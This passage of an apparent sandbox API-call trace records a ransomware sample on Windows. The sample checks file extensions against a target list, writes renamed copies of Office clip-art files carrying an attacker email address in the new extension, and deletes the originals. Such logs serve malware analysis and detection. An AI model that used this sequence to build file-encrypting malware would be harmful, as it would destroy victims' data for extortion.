lpString2=".WMF") returned -1 [0283.552] lstrlenW (lpString=".docx") returned 5 [0283.552] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0283.553] lstrlenW (lpString=".pdf") returned 4 [0283.553] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0283.553] lstrlenW (lpString=".xls") returned 4 [0283.553] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0283.553] lstrlenW (lpString=".xlsx") returned 5 [0283.553] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0283.553] lstrlenW (lpString=".ppt") returned 4 [0283.553] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0283.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0283.553] lstrlenW (lpString=".zip") returned 4 [0283.553] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0283.553] lstrlenW (lpString=".rar") returned 4 [0283.553] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0283.553] lstrlenW (lpString=".bz2") returned 4 [0283.553] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0283.553] lstrlenW (lpString=".7z") returned 3 [0283.553] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0283.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0283.553] lstrlenW (lpString=".dbf") returned 4 [0283.553] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0283.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0283.553] lstrlenW (lpString=".1cd") returned 4 [0283.554] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0283.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0283.554] lstrlenW (lpString=".jpg") returned 4 [0283.554] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0283.554] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=1648) returned 1 [0283.554] CloseHandle (hObject=0x530) returned 1 [0283.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf")) returned 0x220 [0283.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0283.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0283.556] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0283.556] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0283.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0283.557] GetLastError () returned 0x0 [0283.557] ReadFile (in: hFile=0x530, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x670, lpOverlapped=0x0) returned 1 [0283.559] WriteFile (in: hFile=0x524, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x680, lpOverlapped=0x0) returned 1 [0283.560] ReadFile (in: hFile=0x530, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0283.560] WriteFile (in: hFile=0x524, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0283.560] SetEndOfFile (hFile=0x524) returned 1 [0283.560] CloseHandle (hObject=0x524) returned 1 [0283.561] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0283.561] SetEndOfFile (hFile=0x530) returned 1 [0283.824] CloseHandle (hObject=0x530) returned 1 [0283.824] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0284.156] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf")) returned 1 [0284.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0284.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0284.543] lstrlenW (lpString=".doc") returned 4 [0284.543] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0284.543] lstrlenW (lpString=".docx") returned 5 [0284.543] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0284.543] lstrlenW (lpString=".pdf") returned 4 [0284.543] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0284.543] lstrlenW (lpString=".xls") returned 4 [0284.543] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0284.543] lstrlenW (lpString=".xlsx") returned 5 [0284.544] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0284.544] lstrlenW (lpString=".ppt") returned 4 [0284.544] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0284.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0284.544] lstrlenW (lpString=".zip") returned 4 [0284.544] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0284.544] lstrlenW (lpString=".rar") returned 4 [0284.544] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0284.544] lstrlenW (lpString=".bz2") returned 4 [0284.544] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0284.544] lstrlenW (lpString=".7z") returned 3 [0284.544] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0284.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0284.544] lstrlenW (lpString=".dbf") returned 4 [0284.544] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0284.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0284.544] lstrlenW (lpString=".1cd") returned 4 [0284.544] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0284.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0284.544] lstrlenW (lpString=".jpg") returned 4 [0284.544] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0284.545] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=1528) returned 1 [0284.545] CloseHandle (hObject=0x438) returned 1 [0284.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf")) returned 0x220 [0284.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0284.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0284.546] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0284.546] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0284.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0284.596] GetLastError () returned 0x0 [0284.596] ReadFile (in: hFile=0x438, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x5f8, lpOverlapped=0x0) returned 1 [0284.651] WriteFile (in: hFile=0x530, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x600, lpOverlapped=0x0) returned 1 [0284.653] ReadFile (in: hFile=0x438, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0284.653] WriteFile (in: hFile=0x530, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0284.653] SetEndOfFile (hFile=0x530) returned 1 [0284.654] CloseHandle (hObject=0x530) returned 1 [0284.656] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0284.656] SetEndOfFile (hFile=0x438) returned 1 [0284.659] CloseHandle (hObject=0x438) returned 1 [0284.659] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0284.660] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf")) returned 1 [0284.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0284.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0284.661] lstrlenW (lpString=".doc") returned 4 [0284.661] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0284.661] lstrlenW (lpString=".docx") returned 5 [0284.661] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0284.661] lstrlenW (lpString=".pdf") returned 4 [0284.661] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0284.661] lstrlenW (lpString=".xls") returned 4 [0284.661] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0284.661] lstrlenW (lpString=".xlsx") returned 5 [0284.662] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0284.662] lstrlenW (lpString=".ppt") returned 4 [0284.662] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0284.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0284.662] lstrlenW (lpString=".zip") returned 4 [0284.662] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0284.662] lstrlenW (lpString=".rar") returned 4 [0284.662] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0284.662] lstrlenW (lpString=".bz2") returned 4 [0284.662] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0284.662] lstrlenW (lpString=".7z") returned 3 [0284.662] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0284.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0284.662] lstrlenW (lpString=".dbf") returned 4 [0284.662] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0284.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0284.662] lstrlenW (lpString=".1cd") returned 4 [0284.662] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0284.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0284.662] lstrlenW (lpString=".jpg") returned 4 [0284.662] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0284.663] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=14688) returned 1 [0284.663] CloseHandle (hObject=0x438) returned 1 [0284.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf")) returned 0x220 [0284.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0284.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0284.664] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0284.664] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0284.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0284.665] GetLastError () returned 0x0 [0284.665] ReadFile (in: hFile=0x438, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x3960, lpOverlapped=0x0) returned 1 [0284.691] WriteFile (in: hFile=0x548, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x3970, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x3970, lpOverlapped=0x0) returned 1 [0284.693] ReadFile (in: hFile=0x438, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0284.693] WriteFile (in: hFile=0x548, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0284.693] SetEndOfFile (hFile=0x548) returned 1 [0284.694] CloseHandle (hObject=0x548) returned 1 [0284.694] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0284.694] SetEndOfFile (hFile=0x438) returned 1 [0284.697] CloseHandle (hObject=0x438) returned 1 [0284.697] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0284.698] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf")) returned 1 [0284.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0284.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0284.699] lstrlenW (lpString=".doc") returned 4 [0284.699] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0284.699] lstrlenW (lpString=".docx") returned 5 [0284.699] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0284.699] lstrlenW (lpString=".pdf") returned 4 [0284.699] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0284.699] lstrlenW (lpString=".xls") returned 4 [0284.699] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0284.699] lstrlenW (lpString=".xlsx") returned 5 [0284.699] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0284.699] lstrlenW (lpString=".ppt") returned 4 [0284.699] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0284.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0284.699] lstrlenW (lpString=".zip") returned 4 [0284.699] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0284.699] lstrlenW (lpString=".rar") returned 4 [0284.699] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0284.699] lstrlenW (lpString=".bz2") returned 4 [0284.699] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0284.699] lstrlenW (lpString=".7z") returned 3 [0284.699] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0284.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0284.700] lstrlenW (lpString=".dbf") returned 4 [0284.700] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0284.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0284.700] lstrlenW (lpString=".1cd") returned 4 [0284.700] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0284.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0284.700] lstrlenW (lpString=".jpg") returned 4 [0284.700] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0284.984] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0284.984] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0285.114] GetLastError () returned 0x0 [0285.114] ReadFile (in: hFile=0x544, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x16a6, lpOverlapped=0x0) returned 1 [0285.115] WriteFile (in: hFile=0x540, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x16b0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x16b0, lpOverlapped=0x0) returned 1 [0285.116] ReadFile (in: hFile=0x544, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0285.116] WriteFile (in: hFile=0x540, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0285.116] SetEndOfFile (hFile=0x540) returned 1 [0285.116] CloseHandle (hObject=0x540) returned 1 [0285.117] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.117] SetEndOfFile (hFile=0x544) returned 1 [0285.120] CloseHandle (hObject=0x544) returned 1 [0285.120] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0285.120] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf")) returned 1 [0285.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0285.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0285.121] lstrlenW (lpString=".doc") returned 4 [0285.121] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.121] lstrlenW (lpString=".docx") returned 5 [0285.121] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.121] lstrlenW (lpString=".pdf") returned 4 [0285.122] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.122] lstrlenW (lpString=".xls") returned 4 [0285.122] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.122] lstrlenW (lpString=".xlsx") returned 5 [0285.122] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.122] lstrlenW (lpString=".ppt") returned 4 [0285.122] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0285.122] lstrlenW (lpString=".zip") returned 4 [0285.122] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.122] lstrlenW (lpString=".rar") returned 4 [0285.122] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.122] lstrlenW (lpString=".bz2") returned 4 [0285.122] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.122] lstrlenW (lpString=".7z") returned 3 [0285.122] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0285.122] lstrlenW (lpString=".dbf") returned 4 [0285.122] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0285.122] lstrlenW (lpString=".1cd") returned 4 [0285.122] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0285.122] lstrlenW (lpString=".jpg") returned 4 [0285.122] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.123] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=4032) returned 1 [0285.123] CloseHandle (hObject=0x544) returned 1 [0285.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf")) returned 0x220 [0285.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0285.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0285.124] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.124] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0285.125] GetLastError () returned 